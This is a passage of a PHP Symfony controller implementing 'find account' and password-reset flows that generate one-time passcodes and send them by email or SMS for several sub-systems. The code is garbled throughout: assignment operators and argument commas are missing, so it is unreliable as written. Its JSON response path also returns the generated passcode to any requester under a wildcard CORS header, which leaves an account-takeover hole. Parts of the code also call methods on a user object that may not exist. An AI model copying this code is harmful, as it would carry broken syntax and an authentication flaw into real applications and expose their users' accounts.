  8422.                         'userType' => $userType,
  8423.                         'errorField' => $errorField,
  8424.                         'otp' => $otpData['otp'],
  8425.                         'otpExpireSecond' => $otpExpireSecond,
  8426.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8427.                         'otpExpireTs' => $otpData['expireTs'],
  8428.                         'systemType' => $systemType,
  8429.                         'userData' => $userData
  8430.                     ];
  8431.                     if ($userObj)
  8432.                         $email_twig_data['success'] = true;
  8433.                 } else {
  8434.                     $userType UserConstants::USER_TYPE_GENERAL;
  8435.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8436.                     $email_twig_data = [
  8437.                         'page_title' => 'Find Account',
  8438.                         'encryptedData' => $encryptedData,
  8439.                         'message' => $message,
  8440.                         'userType' => $userType,
  8441.                         'errorField' => $errorField,
  8442.                     ];
  8443.                 }
  8444.             } else if ($systemType == '_CENTRAL_') {
  8445.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8446.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8447.                     array(
  8448.                         'email' => $email_address
  8449.                     )
  8450.                 );
  8451.                 if ($userObj) {
  8452.                 } else {
  8453.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8454.                         array(
  8455.                             'oAuthEmail' => $email_address
  8456.                         )
  8457.                     );
  8458.                     if ($userObj) {
  8459.                     } else {
  8460.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8461.                             array(
  8462.                                 'username' => $email_address
  8463.                             )
  8464.                         );
  8465.                     }
  8466.                 }
  8467.                 if ($userObj) {
  8468.                     $email_address $userObj->getEmail();
  8469.                     if ($email_address == null || $email_address == '')
  8470.                         $email_address $userObj->getOAuthEmail();
  8471.                     //                    triggerResetPassword:
  8472. //                    type: integer
  8473. //                          nullable: true
  8474.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8475.                     $otp $otpData['otp'];
  8476.                     $otpExpireTs $otpData['expireTs'];
  8477.                     $userObj->setOtp($otpData['otp']);
  8478.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_CONFIRM_EMAIL);
  8479.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8480.                     $em_goc->flush();
  8481.                     $userData = array(
  8482.                         'id' => $userObj->getApplicantId(),
  8483.                         'email' => $email_address,
  8484.                         'appId' => 0,
  8485.                         'image' => $userObj->getImage(),
  8486.                         'firstName' => $userObj->getFirstname(),
  8487.                         'lastName' => $userObj->getLastname(),
  8488.                         'phone' => $userObj->getPhone(),
  8489. //                        'appId'=>$userObj->getUserAppId(),
  8490.                     );
  8491.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8492.                     $email_twig_data = [
  8493.                         'page_title' => 'Find Account',
  8494.                         'encryptedData' => $encryptedData,
  8495.                         'message' => $message,
  8496.                         'userType' => $userType,
  8497.                         'errorField' => $errorField,
  8498.                         'otp' => $otpData['otp'],
  8499.                         'otpExpireSecond' => $otpExpireSecond,
  8500.                         'otpActionId' => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8501.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionTitle'],
  8502.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_CONFIRM_EMAIL]['actionDescForMail'],
  8503.                         'otpExpireTs' => $otpData['expireTs'],
  8504.                         'systemType' => $systemType,
  8505.                         'userCategory' => $userCategory,
  8506.                         'userData' => $userData
  8507.                     ];
  8508.                     $email_twig_data['success'] = true;
  8509.                 } else {
  8510.                     $message "Oops! Could not find your account";
  8511.                     $email_twig_data['success'] = false;
  8512.                 }
  8513.             } else if ($systemType == '_BUDDYBEE_') {
  8514.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8515.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8516.                     array(
  8517.                         'email' => $email_address
  8518.                     )
  8519.                 );
  8520.                 if ($userObj) {
  8521.                 } else {
  8522.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8523.                         array(
  8524.                             'oAuthEmail' => $email_address
  8525.                         )
  8526.                     );
  8527.                     if ($userObj) {
  8528.                     } else {
  8529.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8530.                             array(
  8531.                                 'username' => $email_address
  8532.                             )
  8533.                         );
  8534.                     }
  8535.                 }
  8536.                 if ($userObj) {
  8537.                     $email_address $userObj->getEmail();
  8538.                     if ($email_address == null || $email_address == '')
  8539.                         $email_address $userObj->getOAuthEmail();
  8540.                     //                    triggerResetPassword:
  8541. //                    type: integer
  8542. //                          nullable: true
  8543.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8544.                     $otp $otpData['otp'];
  8545.                     $otpExpireTs $otpData['expireTs'];
  8546.                     $userObj->setOtp($otpData['otp']);
  8547.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8548.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8549.                     $em_goc->flush();
  8550.                     $userData = array(
  8551.                         'id' => $userObj->getApplicantId(),
  8552.                         'email' => $email_address,
  8553.                         'appId' => 0,
  8554.                         'image' => $userObj->getImage(),
  8555.                         'firstName' => $userObj->getFirstname(),
  8556.                         'lastName' => $userObj->getLastname(),
  8557.                         'phone' => $userObj->getPhone(),
  8558. //                        'appId'=>$userObj->getUserAppId(),
  8559.                     );
  8560.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8561.                     $email_twig_data = [
  8562.                         'page_title' => 'Find Account',
  8563.                         'encryptedData' => $encryptedData,
  8564.                         'message' => $message,
  8565.                         'userType' => $userType,
  8566.                         'errorField' => $errorField,
  8567.                         'otp' => $otpData['otp'],
  8568.                         'otpExpireSecond' => $otpExpireSecond,
  8569.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8570.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8571.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8572.                         'otpExpireTs' => $otpData['expireTs'],
  8573.                         'systemType' => $systemType,
  8574.                         'userCategory' => $userCategory,
  8575.                         'userData' => $userData
  8576.                     ];
  8577.                     $email_twig_data['success'] = true;
  8578.                 } else {
  8579.                     $message "Oops! Could not find your account";
  8580.                     $email_twig_data['success'] = false;
  8581.                 }
  8582.             }
  8583.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8584.                 if ($systemType == '_BUDDYBEE_') {
  8585.                     $bodyHtml '';
  8586.                     $bodyTemplate $email_twig_file;
  8587.                     $bodyData $email_twig_data;
  8588.                     $attachments = [];
  8589.                     $forwardToMailAddress $email_address;
  8590. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8591.                     $new_mail $this->get('mail_module');
  8592.                     $new_mail->sendMyMail(array(
  8593.                         'senderHash' => '_CUSTOM_',
  8594.                         //                        'senderHash'=>'_CUSTOM_',
  8595.                         'forwardToMailAddress' => $forwardToMailAddress,
  8596.                         'subject' => 'Account Verification',
  8597. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8598.                         'attachments' => $attachments,
  8599.                         'toAddress' => $forwardToMailAddress,
  8600.                         'fromAddress' => \ApplicationBundle\Helper\MailerConfig::address(),
  8601.                         'userName' => \ApplicationBundle\Helper\MailerConfig::address(),
  8602.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8603.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8604.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8605. //                            'emailBody' => $bodyHtml,
  8606.                         'mailTemplate' => $bodyTemplate,
  8607.                         'templateData' => $bodyData,
  8608. //                        'embedCompanyImage' => 1,
  8609. //                        'companyId' => $companyId,
  8610. //                        'companyImagePath' => $company_data->getImage()
  8611.                     ));
  8612.                 } else if ($systemType == '_CENTRAL_') {
  8613.                     $bodyHtml '';
  8614.                     $bodyTemplate $email_twig_file;
  8615.                     $bodyData $email_twig_data;
  8616.                     $attachments = [];
  8617.                     $forwardToMailAddress $email_address;
  8618. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8619.                     $new_mail $this->get('mail_module');
  8620.                     $new_mail->sendMyMail(array(
  8621.                         'senderHash' => '_CUSTOM_',
  8622.                         //                        'senderHash'=>'_CUSTOM_',
  8623.                         'forwardToMailAddress' => $forwardToMailAddress,
  8624.                         'subject' => 'Account Verification',
  8625. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8626.                         'attachments' => $attachments,
  8627.                         'toAddress' => $forwardToMailAddress,
  8628.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8629.                         'userName' => 'accounts@ourhoneybee.eu',
  8630.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8631.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8632.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8633. //                            'emailBody' => $bodyHtml,
  8634.                         'mailTemplate' => $bodyTemplate,
  8635.                         'templateData' => $bodyData,
  8636. //                        'embedCompanyImage' => 1,
  8637. //                        'companyId' => $companyId,
  8638. //                        'companyImagePath' => $company_data->getImage()
  8639.                     ));
  8640.                 } else {
  8641.                     $bodyHtml '';
  8642.                     $bodyTemplate $email_twig_file;
  8643.                     $bodyData $email_twig_data;
  8644.                     $attachments = [];
  8645.                     $forwardToMailAddress $email_address;
  8646. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8647.                     $new_mail $this->get('mail_module');
  8648.                     $new_mail->sendMyMail(array(
  8649.                         'senderHash' => '_CUSTOM_',
  8650.                         //                        'senderHash'=>'_CUSTOM_',
  8651.                         'forwardToMailAddress' => $forwardToMailAddress,
  8652.                         'subject' => 'Applicant Registration on Honeybee',
  8653. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  8654.                         'attachments' => $attachments,
  8655.                         'toAddress' => $forwardToMailAddress,
  8656.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  8657.                         'userName' => 'accounts@ourhoneybee.eu',
  8658.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  8659.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  8660.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  8661.                         'emailBody' => $bodyHtml,
  8662.                         'mailTemplate' => $bodyTemplate,
  8663.                         'templateData' => $bodyData,
  8664. //                        'embedCompanyImage' => 1,
  8665. //                        'companyId' => $companyId,
  8666. //                        'companyImagePath' => $company_data->getImage()
  8667.                     ));
  8668.                 }
  8669.             }
  8670.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  8671.                 if ($systemType == '_BUDDYBEE_') {
  8672.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  8673.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  8674.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  8675.                      _APPEND_CODE_';
  8676.                     $msg str_replace($searchVal$replaceVal$msg);
  8677.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  8678.                     $sendType 'all';
  8679.                     $socketUserIds = [];
  8680.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  8681.                 } else {
  8682.                 }
  8683.             }
  8684.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8685.                 $response = new JsonResponse(array(
  8686.                         'templateData' => $twigData,
  8687.                         'message' => $message,
  8688. //                        "otp"=>'',
  8689.                         "otp" => $otp,
  8690.                         "otpExpireTs" => $otpExpireTs,
  8691.                         'actionData' => $email_twig_data,
  8692.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8693.                     )
  8694.                 );
  8695.                 $response->headers->set('Access-Control-Allow-Origin''*');
  8696.                 return $response;
  8697.             } else if ($email_twig_data['success'] == true) {
  8698.                 $encData = array(
  8699.                     "userType" => $userType,
  8700.                     "otp" => '',
  8701. //                "otp"=>$otp,
  8702.                     "otpExpireTs" => $otpExpireTs,
  8703.                     "otpActionId" => UserConstants::OTP_ACTION_CONFIRM_EMAIL,
  8704.                     "userCategory" => $userCategory,
  8705.                     "userId" => $userData['id'],
  8706.                     "systemType" => $systemType,
  8707.                     "email" => $email_address,
  8708.                 );
  8709.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  8710.                 $url $this->generateUrl(
  8711.                     'verify_otp'
  8712.                 );
  8713.                 return $this->redirect($url "/" $encDataStr);
  8714. //                return $this->redirectToRoute("verify_otp_forgot_password",[
  8715. ////                    'encData'
  8716. ////                'id' => $isApplicantExist->getApplicantId(),
  8717. ////                'oAuthData' => $oAuthData,
  8718. ////                'refRoute' => $refRoute,
  8719. //                ]);
  8720.             }
  8721.         }
  8722.         if ($systemType == '_ERP_') {
  8723.             if ($userCategory == '_APPLICANT_') {
  8724.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8725.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8726.                 $twigData = [
  8727.                     'page_title' => 'Find Account',
  8728.                     'encryptedData' => $encryptedData,
  8729.                     'message' => $message,
  8730.                     'systemType' => $systemType,
  8731.                     'ownServerId' => $ownServerId,
  8732.                     'userType' => $userType,
  8733.                     'errorField' => $errorField,
  8734.                 ];
  8735.             } else {
  8736.                 $userType UserConstants::USER_TYPE_GENERAL;
  8737.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8738.                 $twigData = [
  8739.                     'page_title' => 'Find Account',
  8740.                     'encryptedData' => $encryptedData,
  8741.                     'systemType' => $systemType,
  8742.                     'ownServerId' => $ownServerId,
  8743.                     'message' => $message,
  8744.                     'userType' => $userType,
  8745.                     'errorField' => $errorField,
  8746.                 ];
  8747.             }
  8748.         } else if ($systemType == '_SOPHIA_') {
  8749.             $userType UserConstants::USER_TYPE_APPLICANT;
  8750.             $twig_file '@Sophia/pages/views/sophia_verify_email.html.twig';
  8751.             $twigData = [
  8752.                 'page_title' => 'Find Account',
  8753.                 'encryptedData' => $encryptedData,
  8754.                 'systemType' => $systemType,
  8755.                 'ownServerId' => $ownServerId,
  8756.                 "otp" => '',
  8757. //                "otp"=>$otp,
  8758.                 "otpExpireTs" => $otpExpireTs,
  8759.                 'message' => $message,
  8760.                 'userType' => $userType,
  8761.                 'errorField' => $errorField,
  8762.             ];
  8763.         } else if ($systemType == '_CENTRAL_') {
  8764.             $userType UserConstants::USER_TYPE_APPLICANT;
  8765.             $twig_file '@HoneybeeWeb/pages/verify_email.html.twig';
  8766.             $twigData = [
  8767.                 'page_title' => 'Find Account',
  8768.                 'encryptedData' => $encryptedData,
  8769.                 'systemType' => $systemType,
  8770.                 'ownServerId' => $ownServerId,
  8771.                 "otp" => '',
  8772. //                "otp"=>$otp,
  8773.                 "otpExpireTs" => $otpExpireTs,
  8774.                 'message' => $message,
  8775.                 'userType' => $userType,
  8776.                 'errorField' => $errorField,
  8777.             ];
  8778.         } else if ($systemType == '_BUDDYBEE_') {
  8779.             $userType UserConstants::USER_TYPE_APPLICANT;
  8780.             $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8781.             $twigData = [
  8782.                 'page_title' => 'Find Account',
  8783.                 'encryptedData' => $encryptedData,
  8784.                 "otp" => '',
  8785.                 'systemType' => $systemType,
  8786.                 'ownServerId' => $ownServerId,
  8787. //                "otp"=>$otp,
  8788.                 "otpExpireTs" => $otpExpireTs,
  8789.                 'message' => $message,
  8790.                 'userType' => $userType,
  8791.                 'errorField' => $errorField,
  8792.             ];
  8793.         }
  8794.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  8795.             $response = new JsonResponse(array(
  8796.                     'templateData' => $twigData,
  8797.                     'message' => $message,
  8798.                     "otp" => '',
  8799. //                "otp"=>$otp,
  8800.                     "otpExpireTs" => $otpExpireTs,
  8801.                     'actionData' => $email_twig_data,
  8802.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  8803.                 )
  8804.             );
  8805.             $response->headers->set('Access-Control-Allow-Origin''*');
  8806.             return $response;
  8807.         } else {
  8808.             return $this->render(
  8809.                 $twig_file,
  8810.                 $twigData
  8811.             );
  8812.         }
  8813.     }
  8814.     public function FindAccountForAppAction(Request $request$encData ''$remoteVerify 0)
  8815.     {
  8816. //        $userCategory=$request->request->has('userCategory');
  8817.         $encryptedData = [];
  8818.         $errorField '';
  8819.         $message '';
  8820.         $userType '';
  8821.         $otpExpireSecond 180;
  8822.         $otpExpireTs 0;
  8823.         $otp '';
  8824.         if ($encData != '')
  8825.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  8826. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  8827.         $userCategory '_BUDDYBEE_USER_';
  8828.         if (isset($encryptedData['userCategory']))
  8829.             $userCategory $encryptedData['userCategory'];
  8830.         else
  8831.             $userCategory $request->request->get('userCategory''_BUDDYBEE_USER_');
  8832.         $em $this->getDoctrine()->getManager('company_group');
  8833.         $em_goc $this->getDoctrine()->getManager('company_group');
  8834.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  8835.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  8836.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  8837.         $twigData = [];
  8838.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  8839.         $email_address $request->request->get('email''');
  8840.         $email_twig_data = [];
  8841.         $appendCode $request->request->get('appendCode'$request->query->get('appendCode'''));
  8842.         if ($request->isMethod('POST')) {
  8843.             //set an otp and its expire and send mail
  8844.             $email_address $request->request->get('email');
  8845.             $userObj null;
  8846.             $userData = [];
  8847.             if ($systemType == '_ERP_') {
  8848.                 if ($userCategory == '_APPLICANT_') {
  8849.                     $userType UserConstants::USER_TYPE_APPLICANT;
  8850.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8851.                         array(
  8852.                             'email' => $email_address
  8853.                         )
  8854.                     );
  8855.                     if ($userObj) {
  8856.                     } else {
  8857.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8858.                             array(
  8859.                                 'oAuthEmail' => $email_address
  8860.                             )
  8861.                         );
  8862.                         if ($userObj) {
  8863.                         } else {
  8864.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8865.                                 array(
  8866.                                     'username' => $email_address
  8867.                                 )
  8868.                             );
  8869.                         }
  8870.                     }
  8871.                     if ($userObj) {
  8872.                         $email_address $userObj->getEmail();
  8873.                         if ($email_address == null || $email_address == '')
  8874.                             $email_address $userObj->getOAuthEmail();
  8875.                     }
  8876. //                    triggerResetPassword:
  8877. //                    type: integer
  8878. //                          nullable: true
  8879.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8880.                     $otp $otpData['otp'];
  8881.                     $otpExpireTs $otpData['expireTs'];
  8882.                     $userObj->setOtp($otpData['otp']);
  8883.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8884.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8885.                     $em_goc->flush();
  8886.                     $userData = array(
  8887.                         'id' => $userObj->getApplicantId(),
  8888.                         'email' => $email_address,
  8889.                         'appId' => 0,
  8890. //                        'appId'=>$userObj->getUserAppId(),
  8891.                     );
  8892.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8893.                     $email_twig_data = [
  8894.                         'page_title' => 'Find Account',
  8895.                         'encryptedData' => $encryptedData,
  8896.                         'message' => $message,
  8897.                         'userType' => $userType,
  8898.                         'errorField' => $errorField,
  8899.                         'otp' => $otpData['otp'],
  8900.                         'otpExpireSecond' => $otpExpireSecond,
  8901.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8902.                         'otpExpireTs' => $otpData['expireTs'],
  8903.                         'systemType' => $systemType,
  8904.                         'userData' => $userData
  8905.                     ];
  8906.                     if ($userObj)
  8907.                         $email_twig_data['success'] = true;
  8908.                 } else {
  8909.                     $userType UserConstants::USER_TYPE_GENERAL;
  8910.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8911.                     $email_twig_data = [
  8912.                         'page_title' => 'Find Account',
  8913.                         'encryptedData' => $encryptedData,
  8914.                         'message' => $message,
  8915.                         'userType' => $userType,
  8916.                         'errorField' => $errorField,
  8917.                     ];
  8918.                 }
  8919.             } else if ($systemType == '_CENTRAL_') {
  8920.                 $userType UserConstants::USER_TYPE_APPLICANT;
  8921.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8922.                     array(
  8923.                         'email' => $email_address
  8924.                     )
  8925.                 );
  8926.                 if ($userObj) {
  8927.                 } else {
  8928.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8929.                         array(
  8930.                             'oAuthEmail' => $email_address
  8931.                         )
  8932.                     );
  8933.                     if ($userObj) {
  8934.                     } else {
  8935.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  8936.                             array(
  8937.                                 'username' => $email_address
  8938.                             )
  8939.                         );
  8940.                     }
  8941.                 }
  8942.                 if ($userObj) {
  8943.                     $email_address $userObj->getEmail();
  8944.                     if ($email_address == null || $email_address == '')
  8945.                         $email_address $userObj->getOAuthEmail();
  8946.                     //                    triggerResetPassword:
  8947. //                    type: integer
  8948. //                          nullable: true
  8949.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  8950.                     $otp $otpData['otp'];
  8951.                     $otpExpireTs $otpData['expireTs'];
  8952.                     $userObj->setOtp($otpData['otp']);
  8953.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  8954.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  8955.                     $em_goc->flush();
  8956.                     $userData = array(
  8957.                         'id' => $userObj->getApplicantId(),
  8958.                         'email' => $email_address,
  8959.                         'appId' => 0,
  8960.                         'image' => $userObj->getImage(),
  8961.                         'firstName' => $userObj->getFirstname(),
  8962.                         'lastName' => $userObj->getLastname(),
  8963.                         'phone' => $userObj->getPhone(),
  8964. //                        'appId'=>$userObj->getUserAppId(),
  8965.                     );
  8966.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  8967.                     $email_twig_data = [
  8968.                         'page_title' => 'Find Account',
  8969.                         'encryptedData' => $encryptedData,
  8970.                         'message' => $message,
  8971.                         'userType' => $userType,
  8972.                         'errorField' => $errorField,
  8973.                         'otp' => $otpData['otp'],
  8974.                         'otpExpireSecond' => $otpExpireSecond,
  8975.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  8976.                         'otpActionTitle' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionTitle'],
  8977.                         'otpActionDescForMail' => UserConstants::$OTP_ACTION_DATA[UserConstants::OTP_ACTION_FORGOT_PASSWORD]['actionDescForMail'],
  8978.                         'otpExpireTs' => $otpData['expireTs'],
  8979.                         'systemType' => $systemType,
  8980.                         'userCategory' => $userCategory,
  8981.                         'userData' => $userData
  8982.                     ];
  8983.                     $email_twig_data['success'] = true;
  8984.                 } else {
  8985.                     $message "Oops! Could not find your account";
  8986.                     $email_twig_data['success'] = false;
  8987.                 }
  8988.             }
  8989.             if ($email_twig_data['success'] == true && GeneralConstant::EMAIL_ENABLED == 1) {
  8990.                 if ($systemType == '_CENTRAL_') {
  8991.                     $bodyHtml '';
  8992.                     $bodyTemplate $email_twig_file;
  8993.                     $bodyData $email_twig_data;
  8994.                     $attachments = [];
  8995.                     $forwardToMailAddress $email_address;
  8996. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  8997.                     $new_mail $this->get('mail_module');
  8998.                     $new_mail->sendMyMail(array(
  8999.                         'senderHash' => '_CUSTOM_',
  9000.                         //                        'senderHash'=>'_CUSTOM_',
  9001.                         'forwardToMailAddress' => $forwardToMailAddress,
  9002.                         'subject' => 'Account Verification',
  9003. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9004.                         'attachments' => $attachments,
  9005.                         'toAddress' => $forwardToMailAddress,
  9006.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9007.                         'userName' => 'accounts@ourhoneybee.eu',
  9008.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  9009.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  9010.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  9011. //                            'emailBody' => $bodyHtml,
  9012.                         'mailTemplate' => $bodyTemplate,
  9013.                         'templateData' => $bodyData,
  9014. //                        'embedCompanyImage' => 1,
  9015. //                        'companyId' => $companyId,
  9016. //                        'companyImagePath' => $company_data->getImage()
  9017.                     ));
  9018.                 } else {
  9019.                     $bodyHtml '';
  9020.                     $bodyTemplate $email_twig_file;
  9021.                     $bodyData $email_twig_data;
  9022.                     $attachments = [];
  9023.                     $forwardToMailAddress $email_address;
  9024. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  9025.                     $new_mail $this->get('mail_module');
  9026.                     $new_mail->sendMyMail(array(
  9027.                         'senderHash' => '_CUSTOM_',
  9028.                         //                        'senderHash'=>'_CUSTOM_',
  9029.                         'forwardToMailAddress' => $forwardToMailAddress,
  9030.                         'subject' => 'Applicant Registration on Honeybee',
  9031. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  9032.                         'attachments' => $attachments,
  9033.                         'toAddress' => $forwardToMailAddress,
  9034.                         'fromAddress' => 'accounts@ourhoneybee.eu',
  9035.                         'userName' => 'accounts@ourhoneybee.eu',
  9036.                         'password' => \ApplicationBundle\Helper\MailerConfig::buddybeePassword(),
  9037.                         'smtpServer' => \ApplicationBundle\Helper\MailerConfig::host(),
  9038.                         'smtpPort' => \ApplicationBundle\Helper\MailerConfig::port(),
  9039.                         'emailBody' => $bodyHtml,
  9040.                         'mailTemplate' => $bodyTemplate,
  9041.                         'templateData' => $bodyData,
  9042. //                        'embedCompanyImage' => 1,
  9043. //                        'companyId' => $companyId,
  9044. //                        'companyImagePath' => $company_data->getImage()
  9045.                     ));
  9046.                 }
  9047.             }
  9048.             if ($email_twig_data['success'] == true && GeneralConstant::NOTIFICATION_ENABLED == && $userData['phone'] != '' && $userData['phone'] != null) {
  9049.                 if ($systemType == '_BUDDYBEE_') {
  9050.                     $searchVal = ['_OTP_''_EXPIRE_MINUTES_''_APPEND_CODE_'];
  9051.                     $replaceVal = [$otpfloor($otpExpireSecond 60), $appendCode];
  9052.                     $msg 'Use OTP _OTP_ for BuddyBee. Your OTP will expire in _EXPIRE_MINUTES_ minutes
  9053.                      _APPEND_CODE_';
  9054.                     $msg str_replace($searchVal$replaceVal$msg);
  9055.                     $emitMarker '_SEND_TEXT_TO_MOBILE_';
  9056.                     $sendType 'all';
  9057.                     $socketUserIds = [];
  9058.                     System::SendSmsBySocket($this->container->getParameter('notification_enabled'), $msg$userData['phone'], $emitMarker$sendType$socketUserIds);
  9059.                 } else {
  9060.                 }
  9061.             }
  9062.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9063.                 $response = new JsonResponse(array(
  9064.                         'templateData' => $twigData,
  9065.                         'message' => $message,
  9066. //                        "otp"=>'',
  9067.                         "otp" => $otp,
  9068.                         "otpExpireTs" => $otpExpireTs,
  9069.                         'actionData' => $email_twig_data,
  9070.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9071.                     )
  9072.                 );
  9073.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9074.                 return $response;
  9075.             } else if ($email_twig_data['success'] == true) {
  9076.                 $encData = array(
  9077.                     "userType" => $userType,
  9078.                     "otp" => '',
  9079. //                "otp"=>$otp,
  9080.                     "otpExpireTs" => $otpExpireTs,
  9081.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9082.                     "userCategory" => $userCategory,
  9083.                     "userId" => $userData['id'],
  9084.                     "systemType" => $systemType,
  9085.                     "email" => $email_address,
  9086.                 );
  9087.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9088.                 $url $this->generateUrl(
